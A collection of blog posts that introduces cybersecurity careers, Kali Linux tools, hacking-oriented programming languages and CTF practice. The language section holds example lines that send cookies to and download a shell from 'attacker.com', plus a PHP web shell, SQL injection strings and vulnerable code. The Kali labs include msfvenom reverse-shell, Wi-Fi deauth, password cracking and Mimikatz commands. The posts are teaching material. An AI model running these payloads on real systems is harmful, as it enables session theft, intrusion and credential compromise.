Thursday, June 26, 2025
Friday, March 28, 2025
Bug Bounty Hunter – The Professional Vulnerability Hunter
A Bug Bounty Hunter is a cybersecurity researcher who finds and reports security flaws in websites, apps, and systems in exchange for cash rewards (bounties) from companies like Google, Facebook, and Uber.
💰 How Bug Bounties Work
1. Target Selection – Choose a program (e.g., HackerOne, Bugcrowd).
2. Recon & Testing – Hunt for vulnerabilities (e.g., SQLi, XSS, RCE).
3. Submit a Report – Document the bug with PoC (Proof of Concept).
4. Get Paid – Rewards range from $50 to $500,000+ per bug.
🔥 Top Bug Bounty Platforms
| Platform | Popular Programs | Avg. Payout |
|-------------|---------------------|------------|
| HackerOne | Uber, Twitter, GitHub | $500–$20K |
| Bugcrowd | AWS, Tesla, Cisco | $300–$15K |
| Intigriti | European companies | $200–$10K |
| Open Bug Bounty | Non-profit sites | $0–$1K (mostly recognition) |
🛠️ Essential Tools for Bug Hunting
| Category | Tools |
|-------------|-----------------|
| Recon | Amass, Subfinder, Wayback Machine |
| Web Testing | Burp Suite, OWASP ZAP, Nuclei |
| Automation | Hakrawler, Gau, FFUF |
| Exploitation | SQLmap, XSS Hunter, Commix |
📌 Most Profitable Vulnerabilities
1. Remote Code Execution (RCE) ($5K–$100K)
2. SQL Injection (SQLi) ($1K–$15K)
3. Cross-Site Scripting (XSS) ($500–$10K)
4. Business Logic Flaws ($1K–$50K)
5. Authentication Bypass ($2K–$20K)
🚀 How to Start?
1. Learn Web Security – Study OWASP Top 10.
2. Practice on Labs – PortSwigger Web Academy, Hack The Box.
3. Join a Platform – Sign up on HackerOne/Bugcrowd.
4. Start Small – Hunt for low-hanging fruit (XSS, IDOR).
5. Build Reputation – High-quality reports = private invites.
💡 Pro Tips for Success
✔ Read Program Scopes – Avoid out-of-bound testing.
✔ Write Clear Reports – Include steps, screenshots, video PoC.
✔ Stay Ethical – Never exploit without permission.
✔ Specialize – Focus on APIs, mobile apps, or cloud.
📈 Career Path
- Beginner: Find easy bugs (XSS, CSRF) → $1K–$5K/month.
- Intermediate: Discover RCE, SSRF → $10K–$50K/month.
- Advanced: Full-time hunter → $100K+/year.
Final Thoughts
Bug bounty hunting is lucrative but competitive. Success requires persistence, creativity, and deep security knowledge . Start with free training, then hunt responsibly!
Want a step-by-step guide to your first bounty? Ask below! 🚀
Thursday, March 27, 2025
Vulnerability Assessor – The Proactive Security Specialist
A Vulnerability Assessor is a cybersecurity professional who identifies, classifies, and prioritizes security weaknesses in systems, networks, and applications before attackers exploit them. Unlike penetration testers (who exploit flaws), assessors focus on discovery and risk analysis.
🔍 Core Responsibilities
1. Vulnerability Scanning
- Run automated scans (Nessus, Qualys, OpenVAS).
- Identify CVEs, misconfigurations, and outdated software.
2. Risk Assessment & Prioritization
- Rate vulnerabilities using CVSS scores.
- Focus on critical risks (e.g., RCE, SQLi).
3. Compliance Auditing
- Check adherence to PCI DSS, HIPAA, NIST.
4. Reporting & Remediation Guidance
- Provide actionable fixes (patching, hardening).
🛠️ Key Tools & Technologies
| Category | Tools |
|--------------------|-----------|
| Automated Scanners | Nessus, Qualys, OpenVAS |
| Cloud Security | AWS Inspector, Azure Security Center |
| Patch Management | WSUS, SCCM, Ansible |
| Compliance | Nipper, Prisma Cloud |
📈 Career Path & Certifications
Entry-Level (0-2 years)
- CompTIA Security+ (Fundamentals)
- Certified Vulnerability Assessor (CVA)
Mid-Level (2-5 years)
- CEH (Practical)
- CISSP (Risk management focus)
Senior-Level (5+ years)
- CISA (Audit-focused)
- OSCP (For transitioning to pentesting)
💻 Skills Required
✔ Tool Mastery (Nessus, Burp Suite for web apps)
✔ CVSS & Risk Rating (Prioritizing critical flaws)
✔ Networking & OS Knowledge (Windows/Linux security)
✔ Compliance Standards (PCI DSS, ISO 27001)
✔ Scripting Basics (Python/Bash for automation)
💰 Salary Expectations
- Junior Assessor: $70K–$90K
- Mid-Level Assessor: $90K–$120K
- Senior/Lead Assessor: $120K–$150K+
🚀 How to Start?
1. Learn Scanning Tools
- Install OpenVAS (free Nessus alternative).
- Try [Nessus Essentials](https://www.tenable.com/products/nessus/nessus-essentials) (free version).
2. Practice Labs
- [TryHackMe Vulnerability Assessment Room](https://tryhackme.com/room/vulnerabilities101)
- [Hack The Box Challenges](https://www.hackthebox.com/) (Start with "Easy" machines).
3. Get Certified
- Start with Security+ , then CVA or CEH.
4. Apply for Roles
- Look for Vulnerability Analyst or IT Risk Analyst jobs.
📌 Vulnerability Assessor vs. Penetration Tester
| Vulnerability Assessor | Penetration Tester |
|----------------------------|------------------------|
| Finds and reports flaws | Exploits flaws for proof |
| Automated scans + manual review | Manual exploitation |
| Focus: Compliance, risk scoring | Focus: Attack simulation |
| Tools: Nessus, Qualys | Tools: Metasploit, Burp Suite |
📌 Day in the Life
- Morning: Run scans, review results.
- Afternoon: Validate false positives, assign CVSS scores.
- Evening: Generate reports for IT teams.
Final Thoughts
Vulnerability assessors are the "preventive doctors" of cybersecurity—finding weaknesses before they’re exploited. Start with Security+ and Nessus , then move into risk management or pentesting.
Want a step-by-step guide to Nessus/OpenVAS? Ask below! 🔍
Red Teamer – The Elite Offensive Security Role
A Red Teamer is an advanced cybersecurity professional who simulates real-world attacks like advanced threat actors (APT groups, nation-states) to test an organization's defenses. Unlike penetration testers (who focus on finding vulnerabilities), Red Teams emulate stealthy, targeted attacks to evade detection.
🔥 Core Responsibilities
1. Adversary Emulation
- Mimic real APTs (MITRE ATT&CK framework).
- Use custom malware, C2 frameworks (Cobalt Strike, Sliver).
2. Physical & Social Engineering
- Phishing, USB drops, impersonation attacks.
3. Evasion & Lateral Movement
- Bypass EDR/XDR, AV, and SIEM detection.
- Privilege escalation, domain persistence.
4. Reporting & Purple Teaming
- Help Blue Team improve detection rules.
🛠️ Top Red Team Tools
| Category | Tools |
|--------------------|-----------|
| Command & Control (C2) | Cobalt Strike, Mythic, Sliver |
| Lateral Movement | Mimikatz, Impacket, BloodHound |
| Privilege Escalation | WinPEAS, LinPEAS, PowerUp |
| Evasion | Obfuscation (Veil, Shellter), AMSI bypass |
| Phishing | GoPhish, SET (Social-Engineer Toolkit) |
📈 Career Path & Certifications
Entry-Level (0-2 years)
- OSCP (Mandatory for offensive roles)
- eCPPT (Practical pentesting skills)
Mid-Level (2-5 years)
- CRTO (Cobalt Strike Red Team Ops)
- OSEP (Evasion & Advanced Exploitation)
Senior-Level (5+ years)
- CRTE (Certified Red Team Expert)
- GXPN (Exploit Development)
💻 Skills Required
✔ Advanced Exploitation (0-days, custom malware)
✔ Active Directory Attacks (Golden Ticket, Kerberoasting)
✔ AV/EDR Evasion (AMSI bypass, unhooking)
✔ Scripting (Python, PowerShell, C#)
✔ Physical Security Testing (RFID cloning, lockpicking)
💰 Salary Expectations
- Junior Red Teamer: $100K–$130K
- Senior Red Teamer: $150K–$250K+
- Government/Contract Roles: $200K+ (TS/SCI clearance)
🚀 How to Start?
1. Master Penetration Testing (OSCP, HTB, VulnHub)
2. Learn C2 Frameworks (Try Cobalt Strike Trial , Sliver)
3. Study MITRE ATT&CK (Tactics, Techniques, Procedures)
4. Join Red Team Labs
- [TryHackMe Red Team Path](https://tryhackme.com/path/outline/redteaming)
- [Pentester Academy (Red Team Labs)](https://www.pentesteracademy.com/)
5. Get Certified (CRTO, OSEP)
🔴 Red Team vs. Blue Team vs. Pentester
| Red Team | Blue Team (SOC/DFIR) | Penetration Tester |
|-------------|--------------------------|-----------------------|
| Simulates APTs | Defends against attacks | Finds vulnerabilities |
| Stealthy, long-term engagements | Reactive, alert monitoring | Short-term, compliance-focused |
| Tools: Cobalt Strike, Sliver | Tools: Splunk, SentinelOne | Tools: Burp Suite, Metasploit |
📌 Day in the Life of a Red Teamer
- Morning: Check C2 implants, move laterally.
- Afternoon: Test new evasion techniques against EDR.
- Evening: Write covert attack reports.
Final Thoughts
Red Teaming is the pinnacle of offensive security—requiring deep knowledge of exploitation, evasion, and adversary tactics. Start with OSCP , move to Cobalt Strike , and aim for OSEP/CRTO to break into elite roles.
Want a lab guide for Red Team tactics? Let me know! 💻🔴
Security Analyst – Complete Guide
A Security Analyst is a cybersecurity professional responsible for monitoring, detecting, and responding to threats to protect an organization’s systems and data.
🔍 Core Responsibilities
1. Threat Monitoring
- Analyze logs (SIEM tools like Splunk, ELK).
- Detect anomalies in network traffic (IDS/IPS).
2. Incident Response
- Investigate breaches (malware, phishing, DDoS).
- Contain and remediate attacks.
3. Vulnerability Management
- Scan systems (Nessus, Qualys) and prioritize patches.
4. Security Policies & Compliance
- Ensure adherence to GDPR, HIPAA, PCI-DSS.
🛠️ Key Tools & Technologies
| Category | Tools |
|--------------------|-----------|
| SIEM | Splunk, IBM QRadar, Microsoft Sentinel |
| EDR/XDR | CrowdStrike, SentinelOne, Cortex XDR |
| Network Security | Wireshark, Zeek (Bro), Snort |
| Vulnerability Scanners | Nessus, OpenVAS, Nexpose |
| Forensics | Autopsy, FTK, Volatility |
📈 Career Path & Certifications
Entry-Level (0-2 years)
- CompTIA Security+ (Fundamentals)
- CySA+ (Blue Team operations)
- CEH (Ethical Hacking basics)
Mid-Level (2-5 years)
- CISSP (Management-focused)
- GSEC (GIAC) (Hands-on security ops)
- OSCP (For analysts moving to pentesting)
Senior-Level (5+ years)
- CISM (Risk management)
- GCIH (GIAC) (Incident handling)
💻 Skills Required
✔ Networking (TCP/IP, Firewalls, VPNs)
✔ Operating Systems (Windows/Linux logs)
✔ SIEM & Log Analysis (Splunk queries, regex)
✔ Scripting (Python, PowerShell for automation)
✔ Threat Intelligence (MITRE ATT&CK, IOCs)
💰 Salary Expectations
- Junior Analyst: $60K–$90K
- Mid-Level Analyst: $90K–$120K
- Senior Analyst/Manager: $120K–$160K+
🚀 How to Start?
1. Learn Fundamentals
- [TryHackMe SOC Path](https://tryhackme.com/path/outline/soc)
- [Security Blue Team](https://securityblue.team/)
2. Get Certified
- Start with Security+ , then CySA+.
3. Gain Hands-On Experience
- Analyze PCAPs (Wireshark labs).
- Practice SIEM tools (Splunk free tier).
4. Apply for SOC Roles
- Look for Tier 1 SOC Analyst jobs.
🔵 Blue Team vs. Red Team
| Security Analyst (Blue Team) | Penetration Tester (Red Team) |
|----------------------------------|----------------------------------|
| Defends systems (reactive) | Attacks systems (proactive) |
| Focus: SIEM, logs, alerts | Focus: Exploits, vulnerabilities |
| Cert: CySA+, CISSP | Cert: OSCP, OSCE |
📌 Day in the Life of a Security Analyst
- Morning: Check SIEM alerts, review overnight incidents.
- Afternoon: Investigate phishing emails, patch vulnerabilities.
- Evening: Write reports, update threat intelligence feeds.
Final Thoughts
Security Analysts are the first line of defense against cyber threats. Start with Security+ , practice log analysis, and aim for a SOC role to break into the field.
Want a step-by-step learning plan? Let me know! 🔐
Penetration Tester (Ethical Hacker)
A Penetration Tester (or Pen Tester ) is a cybersecurity professional who egally exploits vulnerabilities in systems, networks, and applications to identify security weaknesses before malicious hackers do.
🔥 Key Responsibilities
1. Simulate Cyberattacks
- Perform controlled attacks (like phishing, SQLi, XSS, MITM) to find flaws.
2. Vulnerability Assessment
- Use tools (Nmap, Burp Suite, Metasploit) to scan for weaknesses.
3. Exploit & Post-Exploit Analysis
- Gain unauthorized access (ethically) and document attack paths.
4. Reporting & Remediation
- Provide detailed reports with proof-of-concept (PoC) and fixes.
🛠️ Top Penetration Testing Tools
| Category | Tools |
|--------------------|----------|
| Reconnaissance | Nmap, Recon-ng, Maltego |
| Exploitation | Metasploit, Cobalt Strike, SQLmap |
| Web App Testing | Burp Suite, OWASP ZAP |
| Password Cracking | Hashcat, John the Ripper |
| Wireless Attacks | Aircrack-ng, Wireshark |
📈 Career Path & Certifications
1. Entry-Level:
- CEH (Certified Ethical Hacker) – Basic pentesting concepts.
- eJPT (eLearnSecurity Junior Pentester) – Hands-on beginner exam.
2. Intermediate:
- OSCP (Offensive Security Certified Professional)– Gold standard for pentesting (24hr practical exam).
3. Advanced:
- OSEP (Offensive Security Experienced Penetration Tester) – Evasion & advanced exploitation.
- CREST, CISSP – For senior roles.
💡 Skills Required
✔ Networking (TCP/IP, Firewalls, VPNs)
✔ Programming (Python, Bash, PowerShell)
✔ OS Knowledge (Linux, Windows internals)
✔ Web Security (OWASP Top 10, API hacking)
✔ Social Engineering (Phishing, OSINT)
💰 Salary & Job Market
- Junior Pentester: $70K–$100K
- Senior Pentester: $120K–$180K+
- Freelancers/Bug Bounty Hunters: $50K–$500K (depends on findings)
🚀 How to Start?
1. Learn Basics: Try [TryHackMe](https://tryhackme.com/) / [Hack The Box](https://www.hackthebox.com/).
2. Get Certified: Start with eJPT or PNPT , then OSCP.
3. Practice: Hack legally (CTFs, VulnHub, Bug Bounties).
4. Build a Portfolio: Document your findings (GitHub, blog).
🔴 Red Team vs. Penetration Testing
- Pen Testing = Short-term, compliance-focused (e.g., PCI DSS).
- Red Teaming = Long-term, stealthy attacks (mimics APTs).
Final Thoughts
Penetration testing is a high-demand, exciting career with endless learning. Start with Kali Linux, Hack The Box, and OSCP to break into the field.
Want a step-by-step guide to becoming a pentester? Let me know! 👨💻
What is VMware & VirtualBox:
VMware & VirtualBox: Virtualization Software
VMware (e.g., Workstation, ESXi, Fusion) and VirtualBox (by Oracle) are virtualization tools that allow users to run multiple virtual machines (VMs) on a single physical computer.
Key Features:
✔ Run multiple OSes (Windows, Linux, macOS) simultaneously.
✔ Isolate environments for testing, security, or development.
✔ Snapshot & clone VMs for easy backups and replication.
✔ Network & hardware emulation (virtual NICs, USB passthrough).
Differences:
| Feature | VMware (Workstation Pro) | VirtualBox |
|------------------|--------------------------|------------|
| Cost | Paid (free Player version) | Free & Open-Source |
| Performance | Faster (better optimization) | Slightly slower |
| 3D Graphics | Better GPU support | Limited acceleration |
| Cloud/Enterprise Use | ESXi, vSphere | Mostly for personal use |
Common Uses:
- Malware analysis (sandboxed VMs)
- Penetration testing (Kali Linux VM)
- Software testing (multiple OS versions)
- Running legacy apps (Windows XP VM)
Summary: Both allow running VMs, but VMware is more powerful (paid), while VirtualBox is free and beginner-friendly. Ideal for cybersecurity, IT labs, and software development.
Monday, March 24, 2025
Programming languages
Here’s a list of programming languages essential for ethical hacking and cybersecurity Training, along with their key uses and learning priorities:
1. Python
Why Learn?
- 1 language for hacking and cybersecurity career (readable, versatile, vast libraries).
- Used for exploit development, automation, and tool creation.
Key Uses:
✔ Writing custom exploits (e.g., buffer overflows)
✔ Automating attacks (e.g., brute-forcing, scraping)
✔ Malware analysis & reverse engineering
Example:
python
import socket
target = "192.168.1.1"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 80))
s.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
print(s.recv(1024).decode())
2. Bash Scripting
Why Learn?
- Critical for Linux-based hacking and cybersecurity career(Kali Linux).
- Automates repetitive tasks (scanning, payloads).
Key Uses:
✔ Network scanning (e.g., `for ip in {1..254}; do ping -c 1 192.168.1.$ip; done`)
✔ Post-exploitation (e.g., data exfiltration)
Example:
bash
#!/bin/bash
for port in {1..65535}; do
timeout 1 bash -c "echo >/dev/tcp/192.168.1.1/$port" && echo "Port $port OPEN"
done
3. JavaScript
Why Learn?
- Web hacking (XSS, CSRF, API exploits).
- Manipulate browser/DOM for attacks.
Key Uses:
✔ Crafting XSS payloads (`<script>alert(1)</script>`)
✔ Node.js for server-side exploits
Example:
javascript
// Stealing cookies via XSS
fetch('http://attacker.com/log?cookie=' + document.cookie);
4. SQL
Why Learn?
- Database hacking (SQL injection, data theft).
- Understand backend queries.
Key Uses:
✔ Exploiting SQLi (`' OR 1=1 -- -`)
✔ Bypassing authentication
Example:
sql
UNION SELECT username, password FROM users--
5. C/C++
Why Learn?
- Low-level exploits (buffer overflows, rootkits).
- Reverse engineering binaries.
Key Uses:
✔ Writing shellcode
✔ Exploiting memory corruption
Example:
c
#include <stdio.h>
int main() {
char buffer[10];
gets(buffer); // Vulnerable to overflow
return 0;
}
6. PowerShell
Why Learn?
- Windows hacking (post-exploitation, AD attacks).
- Bypasses AV/restrictions.
Key Uses:
✔ Lateral movement in Windows
✔ Credential dumping (`Invoke-Mimikatz`)
Example:
powershell
Invoke-WebRequest "http://attacker.com/shell.exe" -OutFile "C:\Temp\shell.exe"
7. Ruby
Why Learn?
- Metasploit modules are written in Ruby.
- Quick exploit prototyping.
Key Uses:
✔ Custom Metasploit exploits
✔ Web app testing
Example:
ruby
# Simple TCP server
require 'socket'
server = TCPServer.new 4444
client = server.accept
client.puts "Hacked!"
8. PHP
Why Learn?
- Web app vulnerabilities (RCE, LFI/RFI).
- Analyze CMS exploits (WordPress, Joomla).
Key Uses:
✔ Crafting web shells (`<?php system($_GET['cmd']); ?>`)
✔ Understanding server-side flaws
Example:
php
<?php
if (isset($_GET['file'])) {
include($_GET['file']); // LFI vulnerability
}
?>
9. Assembly (x86/ARM)
Why Learn?
- Malware analysis & exploit dev.
- Understand CPU-level attacks.
Key Uses:
✔ Writing shellcode
✔ Reverse engineering malware
Example:
nasm
section .text
global _start
_start:
mov eax, 4 ; sys_write
mov ebx, 1 ; stdout
mov ecx, msg ; buffer
mov edx, len ; length
int 0x80 ; syscall
msg db "Hacked!", 0xa
len equ $ - msg
10. Go (Golang)
Why Learn?
- Modern malware/RATs use Go.
- Cross-platform exploits.
Key Uses:
✔ Building stealthy malware
✔ Network tools (scanners, proxies)
Example:
go
package main
import "net/http"
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Hacked!"))
})
http.ListenAndServe(":8080", nil)
}
cybersecurity Learning Roadmap
1. Start with Python/Bash (automation basics).
2. Add JavaScript/SQL (web hacking).
3. Learn C/PowerShell (low-level/Windows).
4. Explore Assembly (advanced exploits).
🚀 Pro Tip: Use TryHackMe /HTB challenges to practice!
Kali Linux Tools
Here's a categorized list of key Kali Linux tools with brief usage summaries for best cybersecurity course:
1. Information Gathering
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Nmap | Network scanner | nmap -sV 192.168.1.1 |
| Recon-ng | Web reconnaissance | recon-ng -m recon/domains-hosts/google_site |
| theHarvester | Email/subdomain OSINT | theHarvester -d example.com -l 100 -b google |
| Maltego | Visual link analysis | GUI-based entity mapping |
| DNSenum | DNS enumeration | dnsenum example.com |
2. Vulnerability Analysis
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Nessus | Vulnerability scanner | GUI (Commercial) |
| OpenVAS | Open-source vulnerability scanner | `gvm-start` → Access via browser |
| Nikto | Web server scanner | `nikto -h http://example.com` |
| Lynis | System auditing | `lynis audit system` |
3. Wireless Attacks
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Aircrack-ng | Wi-Fi cracking | `aircrack-ng -w rockyou.txt capture.cap` |
| Wifite | Automated Wi-Fi attacks | `wifite --kill` |
| Kismet | Wireless detector | `kismet -c wlan0mon` |
| Fern Wifi Cracker | GUI Wi-Fi cracker | GUI-based attack tool |
4. Web Application Tools
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Burp Suite | Web proxy | Configure browser → `127.0.0.1:8080` |
| OWASP ZAP | Web app scanner | GUI automated scans |
| SQLmap | SQL injection | `sqlmap -u "http://site.com?id=1" --dbs` |
| Dirb/Dirbuster | Directory brute-forcing | `dirb http://example.com wordlist.txt` |
| Commix | Command injection | `commix -u http://site.com?cmd=whoami` |
5. Password Attacks
| Tool | Description | Basic Usage |
|------|-------------|------------|
| John the Ripper | Password cracker | `john --format=md5 hashes.txt` |
| Hashcat | GPU-accelerated cracking | `hashcat -m 0 hash.txt rockyou.txt` |
| Hydra | Network login cracker | `hydra -l admin -P pass.txt ssh://192.168.1.1` |
| Crunch | Wordlist generator | `crunch 6 8 123abc -o wordlist.txt` |
6. Exploitation Tools
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Metasploit | Exploit framework | `msfconsole` → `use exploit/multi/handler` |
| Searchsploit | ExploitDB search | `searchsploit apache 2.4` |
| BeEF | Browser exploitation | `beef-xss` → Hook browsers |
| Armitage | GUI for Metasploit | GUI-based attack management |
7. Post-Exploitation
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Mimikatz | Windows cred dumping | `sekurlsa::logonpasswords` |
| PowerSploit | PowerShell exploits | Load via `Import-Module` in PS |
| Cobalt Strike | Red team C2 | Commercial GUI framework |
| Empire | Post-exploit framework | `./empire` → `listeners` |
8. Forensics Tools
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Autopsy | GUI digital forensics | Analyze disk images |
| Volatility | Memory forensics | `volatility -f memory.dmp pslist` |
| Binwalk | Firmware analysis | `binwalk -e firmware.bin` |
| Foremost | File carving | `foremost -i image.dd -o output` |
9. Social Engineering
| Tool | Description | Basic Usage |
|------|-------------|------------|
| SET (Social Engineer Toolkit) | Phishing/attacks | `setoolkit` → Option 1 |
| Gophish | Email phishing | GUI-based campaign setup |
| Evilginx2 | Advanced phishing | `evilginx -d microsoft.com` |
| King Phisher | Phishing campaigns | GUI template editor |
10. Hardware Hacking
| Tool | Description | Basic Usage |
|------|-------------|------------|
| RFcat | RF tool (433MHz, etc.) | rfcat -r → Interactive |
| JTAGulator | JTAG pin finder | Hardware debugging |
| Bus Pirate | Universal serial interface | `screen /dev/ttyUSB0 115200` |
11. Reverse Engineering
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Ghidra | NSA’s decompiler | GUI-based analysis |
| IDA Pro | Disassembler (Commercial) | Load binary → Analyze |
| Radare2 | CLI disassembler | `r2 -d ./binary` |
| x64dbg | Windows debugger | GUI debugging |
12. Reporting Tools
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Dradis | Collaborative reporting | Web-based note-taking |
| Faraday | Pentest collaboration | GUI workspace |
| Maltego | Visual link charts | Entity relationship mapping |
13. Miscellaneous
| Tool | Description | Basic Usage |
|------|-------------|------------|
| Wireshark | Network analyzer | GUI packet inspection |
| Tshark | CLI packet analysis | `tshark -i eth0 -Y "http"` |
| Netcat | Network Swiss Army knife | `nc -lvnp 4444` (Listener) |
| Socat | Advanced Netcat | `socat TCP-LISTEN:4444 STDOUT` |
Key Notes:
- Run tools as root when needed (sudo).
- Update Kali regularly:
bash
sudo apt update && sudo apt full-upgrade -y
-All tools are most important for cybersecurity course
-Legal use only : Always get proper authorization.
🚀 Pro Tip: Use man <tool> or <tool> --help for detailed usage!
Kali Linux: The Complete Tutorial
1. Introduction to Kali Linux
Kali Linux is the part of cybersecurity course and world's most advanced penetration testing distribution, maintained by Offensive Security. It comes pre-installed with 600+ cybersecurity tools for:
- Ethical hacking & penetration testing
- Digital forensics
- Security research
- Vulnerability assessment
Key Features
✅ Free & open-source
✅ Custom kernel patched for injection
✅ Supports ARM devices (Raspberry Pi, Android)
✅ Rolling release updates
2. Kali Linux Installation
A. Installation Options
1. Bare Metal Install (Directly on hardware)
2. Virtual Machine (VMware/VirtualBox)
3. Live USB (Persistent storage possible)
4. WSL (Windows Subsystem for Linux)
5. Cloud (AWS, Azure, Google Cloud)
B. Recommended System Requirements
- RAM : 4GB+ (8GB preferred)
- Storage : 20GB+ free space
- CPU : 64-bit processor (Intel/AMD)
C. Installation Steps
1. Download ISO from [kali.org](https://www.kali.org/get-kali/)
2. Create bootable USB (Use Rufus or dd):
bash
dd if=kali-linux.iso of=/dev/sdb bs=4M status=progress
3. Boot from USB and follow installer
3. Kali Linux Setup & Configuration
A. First Boot Tasks
1. Update system :
bash
sudo apt update && sudo apt full-upgrade -y
2. Install guest additions (If using VM):
bash
sudo apt install -y open-vm-tools-desktop
B. Essential Configurations
1. Enable SSH :
bash
sudo systemctl enable ssh --now
2. Change default password (`kali:kali`):
bash
passwd
3. Add a new user :
bash
sudo useradd -m -G sudo newuser
sudo passwd newuser
C. Customizing Kali
1. Install favorite tools :
bash
sudo apt install -y terminator flameshot neofetch
2. Change desktop environment :
bash
sudo apt install -y kali-desktop-xfce # Switch to XFCE
4. Kali Linux Tools Overview
Kali organizes tools into 14 categories :
A. Information Gathering
- Nmap (Network scanning)
- Recon-ng (Web reconnaissance)
- theHarvester (Email/domain OSINT)
B. Vulnerability Analysis
- Nessus (Vulnerability scanner)
- OpenVAS (Open-source alternative)
- Nikto (Web server scanner)
C. Wireless Attacks
- Aircrack-ng (Wi-Fi cracking)
- Wifite (Automated Wi-Fi attacks)
- Kismet (Wireless detection)
D. Web Application Analysis
- Burp Suite (Web proxy)
- OWASP ZAP (Web app scanner)
- SQLmap (SQL injection)
E. Password Attacks
- Hydra (Network login cracker)
- John the Ripper (Password cracking)
- Hashcat (GPU-accelerated cracking)
F. Exploitation Tools
- Metasploit Framework (Exploit development)
- ExploitDB (Archive of exploits)
- BeEF (Browser exploitation)
G. Post-Exploitation
- Mimikatz (Windows credential dumping)
- PowerSploit (Post-exploit PowerShell)
- Cobalt Strike (Advanced red teaming)
H. Forensics Tools
- Autopsy (Digital forensics)
- Volatility (Memory forensics)
- Binwalk (Firmware analysis)
I. Social Engineering
- SET (Social Engineer Toolkit)
- Gophish (Phishing framework)
- Evilginx2 (Advanced phishing)
5. Kali Linux Terminal Basics
Essential Commands
| Command | Description |
|--------- |-------------|
| sudo | Execute as root |
| apt update | Update package list |
| apt install <pkg> | Install software |
| ip a | Show network interfaces |
| cd | Change directory |
| ls | List files |
| chmod | Change permissions |
| grep | Search text |
| find | Locate files |
Managing Services
bash
sudo systemctl start ssh # Start SSH
sudo systemctl stop ssh # Stop SSH
sudo systemctl status ssh # Check status
6. Practical Kali Linux Labs
Lab 1: Network Scanning with Nmap
bash
sudo nmap -sV -A 192.168.1.1 # Basic scan
sudo nmap -p- -T4 192.168.1.1 # Full port scan
Lab 2: Cracking Wi-Fi with Aircrack-ng
bash
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
sudo aircrack-ng -w rockyou.txt capture.cap
Lab 3: Web App Testing with Burp Suite
1. Configure browser proxy (`127.0.0.1:8080`)
2. Intercept requests and modify parameters
Lab 4: Creating a Reverse Shell
bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf
nc -lvnp 4444 # On attacker machine
7. Kali Linux Tips & Tricks
A. Performance Optimization
- Disable unnecessary services :
bash
sudo systemctl disable bluetooth
- Use ZRAM for better RAM management :
bash
sudo apt install -y zram-config
B. Troubleshooting
1. Wi-Fi not working?
bash
sudo apt install -y firmware-realtek
2. Graphics issues?
bash
sudo apt install -y kali-desktop-xfce
C. Maintaining Kali
- Regular updates:
bash
sudo apt update && sudo apt full-upgrade -y
- Clean old packages:
bash
sudo apt autoremove
8. Kali Linux for Different Use Cases
A. Penetration Testing
- Use Metasploit, Burp Suite, Nmap
- Follow OSCP-like methodology
B. Red Teaming
- Focus on C2 frameworks (Cobalt Strike)
- Practice lateral movement
C. Digital Forensics
- Use Autopsy, Volatility
- Learn file carving techniques
D. Bug Bounty Hunting
- Master Burp Suite, SQLmap
- Focus on web vulnerabilities
9. Learning Resources
Free Courses
- [Kali Linux Revealed](https://kali.training/) (Official course)
- [TryHackMe Kali Linux](https://tryhackme.com/path/outline/kali) (Interactive)
Books
- "Penetration Testing with Kali Linux" (PWK/OSCP)
- "The Hacker Playbook" series
YouTube Channels
- The Cyber Mentor
- Null Byte
- Hackersploit
10. Ethical & Legal Considerations
⚠ Only test systems you own or have permission to test
⚠ Do not use Kali for illegal activities
⚠ Follow responsible disclosure
Conclusion
Kali Linux is the ultimate toolkit for cybersecurity professionals. Mastering it requires:
1. Learning the tools
2. Practicing in labs
3. Staying updated
🔹 Next Steps :
1. Set up your Kali lab environment
2. Complete the Kali Linux Revealed course
3. Start HTB/TryHackMe challenges
🚀 Want a customized Kali Linux learning path? Let me know your goals!
Capture The Flag (CTF) & Hands-On Labs
1. Introduction to CTFs
Capture The Flag (CTF) competitions are cybersecurity challenges where participants solve puzzles to find hidden "flags" (secret strings). CTFs help develop real-world hacking skills in a legal environment.
Types of CTFs
- Jeopardy-style (Categories: Web, Crypto, Binary, Forensics)
- Attack-Defense (Teams attack & defend servers)
- Mixed (Combination of both)
2. CTF Categories & Tools
A. Web Exploitation
Common Vulnerabilities :
- SQLi, XSS, CSRF, SSRF, JWT attacks
Tools :
- Burp Suite, OWASP ZAP, SQLmap
Example Challenge :
http://ctf.site/login.php?id=1'
Find the flag by exploiting SQL injection.
B. Reverse Engineering Techniques :
- Static analysis (Ghidra, IDA Pro)
- Dynamic analysis (x64dbg, GDB)
Example Challenge:
c
// crackme.c
if (input == 0xDEADBEEF) print_flag();
C. Binary Exploitation
Common Attacks :
- Buffer overflows, ROP, Format strings
Tools :
- Pwntools, GDB with Peda
Example Challenge :
python
from pwn import *
p = process('./vuln')
p.sendline(cyclic(100))
D. Cryptography
Common Challenges :
- RSA, AES, XOR, Frequency analysis
Tools :
- CyberChef, RsaCtfTool
Example Challenge :
Ciphertext: U2FsdGVkX19zZWFzb24=
Password: "password"
E. Forensics
Common Tasks :
- Memory dump analysis (Volatility)
- Packet analysis (Wireshark)
- File carving (binwalk)
Example Challenge :
Analyze memory.dmp to find the hacker's IP.
F. Miscellaneous
- OSINT, Steganography, Programming
3. CTF Strategies
A. General Approach
1. Recon (Examine all provided files)
2. Research (Google keywords, similar CTFs)
3. Exploit (Use appropriate tools)
4. Submit (Flag format: `FLAG{...}`)
B. Time Management
- Start with easy challenges first
- Skip stuck problems after 30 mins
- Collaborate with teammates (if allowed)
4. Hands-On Labs Setup
A. Local Practice Environments
1. VulnHub (Download vulnerable VMs)
- Example: Metasploitable, Kioptrix
2. HTB (Hack The Box) (Online machines)
bash
# Connect via OpenVPN
openvpn lab_user.ovpn
3. TryHackMe (Guided learning paths)
B. Essential Tools Setup
bash
# Install CTF tools on Kali
